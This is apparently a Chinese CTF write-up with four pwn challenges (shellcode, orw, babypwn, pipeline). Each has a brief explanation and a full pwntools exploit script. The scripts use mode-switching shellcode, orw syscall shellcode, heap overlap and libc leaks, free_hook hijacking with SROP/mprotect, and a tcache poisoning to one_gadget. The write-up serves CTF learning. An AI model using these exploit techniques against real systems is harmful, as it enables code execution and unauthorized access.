F | [强网先锋]shellcode | 偏有宸机

类原题,可以参考文章https://xz.aliyun.com/t/6645前半部分的汇编写法,通过retf切换到32位来执行open打开flag文件再切换到64位read将falg读取到程序中,之后的做法就要稍有改动,因为不能直接使用write,所以这里的思路就是蓝帽杯chall题目的做法,编写汇编指令逐字节比较,进行暴破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
import os
import sys
import subprocess
from pwn import *
context.terminal = ["tmux","new-window"]
# context.terminal = ["tmux","splitw","-h"]
# context.arch = "amd64"
# context.arch = "i386"
# context.log_level = "debug"
### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./shellcode" # 本地ELF
pro_libc = "/lib/x86_64-linux-gnu/libc.so.6" # Libc文件
rem_libc = "/mnt/hgfs/DA1SY/Tools/LINUX/Pwn-tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
log.info("No set Remote_libc...")
libc = ELF(pro_libc)
else:
libc = ELF(pro_libc)
try:
sh = remote(ip,port)
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
# one_ggs = one_gadget(pro_libc)
elf = ELF(elf_addr)
return 1
### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)
def exp(sh,idx,ch):
append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''
shellcode_x86 = asm(shellcode_x86)
if idx == 0:
shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-3;ret".format(idx,ch)
else:
shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-4;ret".format(idx,ch)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''

shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
sh.sendline(shellcode)
sh.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)
return sh
if __name__=="__main__":

if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
idx = 0
a=[]
while True:
for ch in range(0x20,127):
RemPro()
exp(sh,idx,ch)
start = time.time()
try:
sh.recv(timeout=2)
except:
pass
end=time.time()
sh.close()
if end-start>1.5:
a.append(ch)
log.info("".join([chr(i) for i in a]))
break
else:
log.info("".join([chr(i) for i in a]))
break
idx = idx + 1
log.success("".join([chr(i) for i in a]))
# sh.interactive()

F|[强网先锋]orw|偏有宸机

程序中有用的只有add和dele函数,且其中add函数中其可以通过对index的溢出控制堆块的位置来多一次add

因此可以在第一次add中填入flag的文件名,第二次add直接填入orw的shellcode,最后通过free来执行shellcode

但需要注意的是flag的保存地址问题,因为add中中的rdi保存的就是chunk_0的地址,所以可以利用该寄存器进而将flag读取到该地址上之后write flag即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - pro_libc
# - enable_Onegadgets
# - exp()

import os
import sys
import subprocess
from pwn import *
context.terminal = ["tmux","new-window"]
# context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
# context.arch = "i386"
context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./pwn" # 本地ELF
pro_libc = "./libc-2.23.so" # Libc文件
rem_libc = "/mnt/hgfs/DA1SY/Tools/LINUX/Pwn-tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
log.info("No set Remote_libc...")
libc = ELF(pro_libc)
else:
libc = ELF(pro_libc)
try:
sh = remote(ip,port)
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
# one_ggs = one_gadget(pro_libc)
elf = ELF(elf_addr)
return 1

### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)

### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
one_ggs = str(subprocess.check_output(['one_gadget', '--raw', '-f',filename]))[2:-3].split(' ')
return list(map(int,one_ggs))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():

def add(idx,size,content):
sh.sendlineafter(">>\n","1")
sh.sendlineafter("index:\n",str(idx))
sh.sendlineafter("ze:\n",str(size))
sh.sendlineafter("content:\n",content)
def dele(idx):
sh.sendlineafter(">>\n","4")
sh.sendlineafter("index:\n",str(idx))


# add中的rdi就是heap_0的地址,将flag读取到该地址上
# 之后正常的read、write拿到flag
shellcode='''
mov r10,rdi
xor rsi,rsi
mov rdi,r10
mov rax,2
syscall

mov rdi, rax ;// fd
mov rsi,r10 ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, r10 ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
'''

add(0,6,'flag')
add(-26,b"\x60",asm(shellcode))

dele(0)

return sh

def exp_2():
print("this is exp_2")


if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()

F | babypwn | 偏有宸机

先利用overlaping构造大堆块然后free来得到main_arena得地址,之后编写show函数中的加密脚本,如下

1
2
3
4
def encode(a):
a ^= ((32*a)&0xffffffff)^((((32*a)&0xffffffff)^a)>>17)^((((((32*a)&0xffffffff)^a) ^ ((((32*a)&0xffffffff)^a)>>17)) << 13)&0xffffffff)
a ^= ((32*a)&0xffffffff)^((((32*a)&0xffffffff)^a)>>17)^((((((32*a)&0xffffffff)^a) ^ ((((32*a)&0xffffffff)^a)>>17)) << 13)&0xffffffff)
return hex(a)[2:]

在通过逐字节猜解对比得方式来猜解泄露出的main_arena地址,最后得到libc基址
之后就是正常的利用在free_hook上写setcontext+53,然后利用free堆块来对寄存器传参,进而执行orw指令读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#!/usr/bin/env python3
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - pro_libc
# - enable_Onegadgets
# - exp()

import os
import sys
import subprocess
from pwn import *
context.terminal = ["tmux","new-window"]
# context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
# context.arch = "i386"
# context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./babypwn" # 本地ELF
pro_libc = "./libc.so.6" # Libc文件
rem_libc = "./libc.so.6"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
log.info("No set Remote_libc...")
libc = ELF(pro_libc)
else:
libc = ELF(pro_libc)
try:
sh = remote(ip,port)
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
# one_ggs = one_gadget(pro_libc)
elf = ELF(elf_addr)
return 1

### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)

### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
one_ggs = str(subprocess.check_output(['one_gadget', '--raw', '-f',filename]))[2:-3].split(' ')
return list(map(int,one_ggs))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():

def add(size):
sh.recvuntil(">> \n")
sh.sendline("1")
sh.recvuntil("size:\n")
sh.sendline(str(size))
def show(idx):
sh.sendlineafter(">> \n","4")
sh.sendlineafter("index:\n",str(idx))
def edit(idx,content):
sh.sendlineafter(">> \n","3")
sh.sendlineafter("index:\n",str(idx))
sh.sendlineafter("content:\n",content)
def free(idx):
sh.sendlineafter(">> \n","2")
sh.sendlineafter("index:\n",str(idx))

def encode(a):
a ^= ((32*a)&0xffffffff)^((((32*a)&0xffffffff)^a)>>17)^((((((32*a)&0xffffffff)^a) ^ ((((32*a)&0xffffffff)^a)>>17)) << 13)&0xffffffff)
a ^= ((32*a)&0xffffffff)^((((32*a)&0xffffffff)^a)>>17)^((((((32*a)&0xffffffff)^a) ^ ((((32*a)&0xffffffff)^a)>>17)) << 13)&0xffffffff)
return hex(a)[2:]

def decode_1(a):
log.progress("decode_1")
for i in range(0x0, 0xff):
head = chr(i)+"\x7f\x00\x00"
if encode(u32(head))==str(a, encoding='utf-8'):
success("ok~ decode_1")
return head

def decode_2(a):
log.progress("decode_2")
for i1 in range(0x0, 0xff):
for i2 in range(0, 0xff):
for i3 in range(2, 0xff, 0x10):
last = "\x10"+chr(i3)+chr(i2)+chr(i1)
if encode(u32(last)) ==str(a, encoding='utf-8'):
success("ok~ decode_2")
return last

# 构造overlaping 使堆块向前合并,得到chunk_0包裹chunk1-7
add(0xf8) #idx_0
for i in range(7): #idx_1-idx_7
add(0xf8)

add(0x108) #idx_8
add(0x108) #idx_9
for i in range(1,8): #free 1-7
free(i)
free(0)

edit(8, b"a"*0x108)
edit(8, b"b"*0x100+p64(0x910))
edit(9, b"\x00"*0xf8+p64(0x11))
free(9)

for i in range(7): # idx_0-idx_6
add(0xf8)
add(0x200) # idx_7 have idx_0-1

# leak_libc => 7ffff7b84210
show(7)
a2 = sh.recv(8)
sh.recvuntil("\n")
a1 = sh.recv(8)
success("a1 => %s",a1)
success("a2 => %s",a2)
print(encode(0x7fff))
head = decode_1(a1)
last = decode_2(a2)
main_arena1488 = u64(last+head)
success("main_arena96 => 0x%x",main_arena1488)
libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = libc_base+libc.sym["setcontext"]
# srop

free(5)
free(6)
payload = flat([
"\x00"*0xf8,
p64(0x101)+p64(free_hook-8)
])
edit(7, payload)

add(0xf8)
add(0xf8)
shellcode = """
push 1
dec byte ptr [rsp]
mov rax, 0x7478742e67616c66
push rax
/* call open('rsp', 'O_RDONLY', 0) */
push 2 /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* O_RDONLY */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push 40 /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
"""
payload2 = flat([p64(0),
p64(setcontext + 53),
p64(free_hook + 0x10),
asm(shellcode)
])

edit(6, payload2)

frame = SigreturnFrame()
frame.rsp = free_hook + 0x8
frame.rdi = (free_hook) & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base+libc.sym['mprotect']
edit(7, bytes(frame))
free(7)

# debug()
return sh



if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()

F | pipeline | 偏有宸机

首先利用其规则通过free掉大于0x410的堆块来泄露libc地址

最后就是edit函数中的size数组溢出来控制对data进行越界写,将free_hook的地址写入到下一个堆块的fd指针上,进而在free_hook上写one_gadget来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python3
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - pro_libc
# - enable_Onegadgets
# - exp()

import os
import sys
import subprocess
from pwn import *
context.terminal = ["tmux","new-window"]
# context.terminal = ["tmux","splitw","-h"]
# context.arch = "amd64"
# context.arch = "i386"
# context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./pipeline" # 本地ELF
pro_libc = "libc-2.31.so" # Libc文件
rem_libc = "libc-2.31.so"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
log.info("No set Remote_libc...")
libc = ELF(pro_libc)
else:
libc = ELF(pro_libc)
try:
sh = remote(ip,port)
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(pro_libc)
elf = ELF(elf_addr)
return 1

### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)

### One_Gadget
def one_gadget(filename):
log.progress("Leak One_Gadgets...")
one_ggs = str(subprocess.check_output(['one_gadget', '--raw', '-f',filename]))[2:-3].split(' ')
return list(map(int,one_ggs))
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():


def add():
sh.sendlineafter(">> ","1")
def append(idx, size):
sh.sendlineafter(">> ","2")
sh.sendlineafter("index: ",str(idx))
sh.sendlineafter("offset: ", str(0))
sh.sendlineafter("size: ", str(size))
def edit(idx, size, content):
sh.sendlineafter(">> ","4")
sh.sendlineafter("index: ",str(idx))
sh.sendlineafter("size: ", str(size))
sh.sendlineafter("data: ", content)
def show(idx):
sh.sendlineafter(">> ","5")
sh.sendlineafter("index: ",str(idx))

# leak libc_base
add()
add()
add()
append(0,0x410)
append(1,0x78)
append(0,0)
append(0,0x18)

show(0)
sh.recvuntil("data: ")
libc_base = u64(sh.recv(6).ljust(8,b"\x00"))-1104-0x10-libc.symbols["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
free_hook = libc_base + libc.symbols["__free_hook"]
success("free_hook => 0x%x",free_hook)
one_gg = libc_base + one_ggs[1]
# debug()

# 在被free掉的410堆块上分割一块出来,进行越届写,
# 控制fd指针指向free_hook
add()
payload = (p64(0)*3) + p64(0x21)
payload += p64(free_hook)
payload += p64(0x0000010000000000)
edit(0, 0x80000080, payload)
#debug()
edit(3, 0x18, p64(one_gg))
append(0,0)
# debug()

return sh

def exp_2():
print("this is exp_2")


if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()